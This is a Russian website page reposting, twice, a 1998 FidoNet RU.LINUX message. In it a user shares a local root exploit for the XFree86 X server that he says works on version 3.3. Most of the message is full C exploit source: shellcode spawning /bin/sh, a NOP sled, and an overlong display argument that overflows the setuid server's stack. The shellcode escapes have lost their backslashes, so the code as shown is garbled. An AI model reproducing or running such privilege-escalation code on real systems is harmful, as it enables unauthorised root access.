Возможно вы искали: 'Hoyle Board Games 2002'

November 28 2024 16:38:56

Статистика

Статей: 87772
Просмотров: 93097738

Игры

Injustice: Gods Among Us ...
Dark Souls 2 Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4 Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...

Кино

Steins;Gate Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...

Обзоры на игры

• Обзор Ibara [PCB/PS2]	17930
• Обзор The Walking ...	18320
• Обзор DMC: Devil M...	19459
• Обзор на игру Valk...	15461
• Обзор на игру Stars!	17309
• Обзор на Far Cry 3	17503
• Обзор на Resident ...	15545
• Обзор на Chivalry:...	17036
• Обзор на игру Kerb...	17532
• Обзор игры 007: Fr...	16144

Превью о играх

• Превью к игре Comp...	17564
• Превью о игре Mage...	14078
• Превью Incredible ...	14320
• Превью Firefall	13081
• Превью Dead Space 3	15919
• Превью о игре SimC...	14325
• Превью к игре Fuse	15030
• Превью Red Orche...	15153
• Превью Gothic 3	15880
• Превью Black & W...	17004

Главная » Статьи » Разное » XFree86 secure

XFree86 secure

_ RU.LINUX (2:5077/15.22) ___________________________________________ RU.LINUX _
From : Michael Morozov 2:5020/954.20 28 Feb 98 17:30:36
Subj : XFree86 secure
________________________________________________________________________________
hi all!

Вот вчера на www.rootshell.com посмотрел - XFree86 exploit нашел, проверил
на 3.3 - работает :(

Такие вот дела:
/* [ http://www.rootshell.com/ ] */

/* XFree86 Server exploit for Intel x86 */
/* Have phun!! */

/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LENCODE ( sizeof( Code ) )
char Code[] =
"xebx40x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0"
"x3fx89xc2x31xdbxb3x0ax31xc9xcdx80x89xd0x43x41"
"xcdx80x89xd0x43x41xcdx80x31xc0x89xc3xb0x17xcd"
"x80x31xc0xb0x2excdx80x31xc0xb0x0bx89xf3x8dx4e"
"x08x8dx56x0cxcdx80xe8xbbxffxffxff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
printf("pHEAR - XFree86 exploitnby mAChnHEaD <quenelle@iname.com>nnYou may
get a root prompt now. If you don't, try different values for OFFSET.nn");
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)ntsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}

Чего експлоитится - не разбирался, похоже как всегда stack overrun.

--
-----------------* UNIX Linux is Live Forever *-----------------
Michael I. Morozov Michael Morozov == MickeyICE
Moscow, Russia Fido: 2:5020/329.48 AKA 2:5020/954.20
--- ifmail v.2.9.os
* Origin: This is my origin? (2:5020/954.20)

_ RU.LINUX (2:5077/15.22) ___________________________________________ RU.LINUX _
From : Michael Morozov 2:5020/954.20 28 Feb 98 17:30:36
Subj : XFree86 secure
________________________________________________________________________________
hi all!

Вот вчера на www.rootshell.com посмотрел - XFree86 exploit нашел, проверил
на 3.3 - работает :(

Такие вот дела:
/* [ http://www.rootshell.com/ ] */

/* XFree86 Server exploit for Intel x86 */
/* Have phun!! */

/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LENCODE ( sizeof( Code ) )
char Code[] =
"xebx40x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0"
"x3fx89xc2x31xdbxb3x0ax31xc9xcdx80x89xd0x43x41"
"xcdx80x89xd0x43x41xcdx80x31xc0x89xc3xb0x17xcd"
"x80x31xc0xb0x2excdx80x31xc0xb0x0bx89xf3x8dx4e"
"x08x8dx56x0cxcdx80xe8xbbxffxffxff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
printf("pHEAR - XFree86 exploitnby mAChnHEaD <quenelle@iname.com>nnYou may
get a root prompt now. If you don't, try different values for OFFSET.nn");
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)ntsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}

Чего експлоитится - не разбирался, похоже как всегда stack overrun.

--
-----------------* UNIX Linux is Live Forever *-----------------
Michael I. Morozov Michael Morozov == MickeyICE
Moscow, Russia Fido: 2:5020/329.48 AKA 2:5020/954.20
--- ifmail v.2.9.os
* Origin: This is my origin? (2:5020/954.20)

Ссылки

HTML:
[BB Url]:

Похожие статьи
Название	Добавил	Добавлено
• XFree86 secure	Vova	08.05.2012
• XFree86 secure	Vova	08.05.2012

Ни одного комментария? Будешь первым :).

Пожалуйста, авторизуйтесь для добавления комментария.

Статьи

Рецензия на Pressure Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chron... Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge «Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy &... Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scrib... По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walki... Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...